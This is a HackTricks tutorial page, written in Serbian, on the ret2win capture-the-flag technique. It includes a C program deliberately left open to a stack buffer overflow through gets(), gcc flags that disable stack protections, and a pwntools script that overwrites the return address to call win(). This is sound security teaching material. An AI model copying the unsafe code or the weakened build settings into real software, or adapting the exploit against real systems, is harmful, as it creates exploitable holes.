7.4 KiB
Ret2win
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne Informacije
Ret2win izazovi su popularna kategorija u takmičenjima Capture The Flag (CTF), posebno u zadacima koji uključuju binarno eksploatisanje. Cilj je iskoristiti ranjivost u datom binarnom fajlu kako bi se izvršila određena, neizvršena funkcija unutar binarnog fajla, često nazvana nešto poput win
, flag
, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavu ili poruku o uspehu. Izazov obično uključuje prepisivanje adrese povratka na steku kako bi se preusmerio tok izvršavanja ka željenoj funkciji. Evo detaljnijeg objašnjenja sa primerima:
Primer u C-u
Razmotrimo jednostavan C program sa ranjivošću i win
funkcijom koju nameravamo pozvati:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Da biste kompajlirali ovaj program bez zaštite steka i sa ASLR onemogućenim, možete koristiti sledeću komandu:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: Kompajlirajte program kao 32-bitni binarni fajl (ovo je opcionalno ali često se koristi u CTF izazovima).-fno-stack-protector
: Onemogućava zaštitu od preplavljivanja steka.-z execstack
: Dozvoljava izvršavanje koda na steku.-no-pie
: Onemogućava izvršavanje poziciono nezavisnog izvršnog fajla kako bi se osiguralo da adresa funkcijewin
ostane nepromenjena.-o vulnerable
: Imenujte izlazni fajl kaovulnerable
.
Python Eksploatacija korišćenjem Pwntools
Za eksploataciju, koristićemo pwntools, moćan CTF okvir za pisanje eksploata. Skripta za eksploataciju će kreirati payload kako bi preplavila bafer i prepisala povratnu adresu sa adresom funkcije win
.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
Da biste pronašli adresu funkcije win
, možete koristiti gdb, objdump, ili bilo koji drugi alat koji vam omogućava da pregledate binarne datoteke. Na primer, sa objdump
, možete koristiti:
objdump -d vulnerable | grep win
Ova komanda će vam prikazati sklop win
funkcije, uključujući njenu početnu adresu.
Python skripta šalje pažljivo oblikovanu poruku koja, kada je obrađena od strane vulnerable_function
, preplavljuje bafer i prepisuje adresu povratka na steku adresom win
. Kada se vulnerable_function
vrati, umesto vraćanja na main
ili izlaska, prelazi na win
, i poruka se ispisuje.
Zaštite
- PIE treba biti onemogućen da bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki "leak" kako biste saznali gde je
win
funkcija učitana. U nekim slučajevima, kada funkcija koja uzrokuje preplavljivanje jeread
ili slična, možete izvršiti Delimično prepisivanje od 1 ili 2 bajta da biste promenili adresu povratka da budewin
funkcija. Zbog toga kako ASLR funkcioniše, poslednje tri heksadecimalne cifre nisu nasumične, tako da postoji 1/16 šansa (1 heksadecimalna cifra) da dobijete ispravnu adresu povratka. - Stack Canaries takođe treba da budu onemogućeni ili kompromitovana EIP adresa povratka nikada neće biti praćena.
Ostali primeri & Reference
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32 bit, bez ASLR-a
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bita sa ASLR-om, sa "leak"-om bin adrese
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bita, bez ASLR-a
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bita, bez ASLR-a, duplo malo preplavljivanje, prvo da preplavi stek i poveća veličinu drugog preplavljivanja
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bita, relro, bez canary-a, nx, bez PIE-a, formatiranje stringa za prepisivanje adrese
fflush
sawin
funkcijom (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 bita, nx, ništa drugo, delimično prepisivanje EIP-a (1 bajt) da pozove
win
funkciju - https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 bita, nx, ništa drugo, delimično prepisivanje EIP-a (1 bajt) da pozove
win
funkciju - https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- Program samo validira poslednji bajt broja kako bi proverio veličinu unosa, stoga je moguće dodati bilo koju veličinu sve dok je poslednji bajt unutar dozvoljenog opsega. Zatim, unos stvara preplavljivanje bafera koje se eksploatiše sa ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bita, relro, bez canary-a, nx, PIE. Delimično prepisivanje da pozove
win
funkciju (ret2win)